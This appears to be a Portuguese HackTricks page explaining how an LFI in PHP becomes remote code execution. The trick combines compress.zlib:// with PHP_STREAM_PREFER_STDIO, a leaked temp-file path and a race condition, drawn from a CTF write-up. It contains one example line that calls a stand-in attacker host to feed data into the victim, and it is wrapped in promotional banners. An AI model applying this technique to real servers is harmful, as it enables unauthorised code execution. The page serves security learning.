5.6 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Divulgação de Caminho
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
WhiteIntel
WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.
O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares de roubo de informações.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
compress.zlib://
e PHP_STREAM_PREFER_STDIO
Um arquivo aberto usando o protocolo compress.zlib://
com a flag PHP_STREAM_PREFER_STDIO
pode continuar gravando dados que chegam à conexão posteriormente no mesmo arquivo.
Isso significa que uma chamada como:
file_get_contents("compress.zlib://http://attacker.com/file")
Irá enviar uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão escritos no arquivo.
Você pode ver essa informação nesta parte do código php-src em main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Condição de Corrida para RCE
Este CTF foi resolvido usando o truque anterior.
O atacante fará o servidor vítima abrir uma conexão lendo um arquivo do servidor do atacante usando o protocolo compress.zlib
.
Enquanto essa conexão existir, o atacante irá extrair o caminho para o arquivo temporário criado (que é vazado pelo servidor).
Enquanto a conexão estiver aberta, o atacante irá explorar uma LFI carregando o arquivo temporário que ele controla.
No entanto, há uma verificação no servidor web que impede o carregamento de arquivos que contenham <?
. Portanto, o atacante irá abusar de uma Condição de Corrida. Na conexão que ainda está aberta, o atacante irá enviar a carga útil PHP DEPOIS do servidor web ter verificado se o arquivo contém os caracteres proibidos, mas ANTES de carregar seu conteúdo.
Para mais informações, confira a descrição da Condição de Corrida e do CTF em https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
WhiteIntel
WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares ladrões.
O principal objetivo do WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.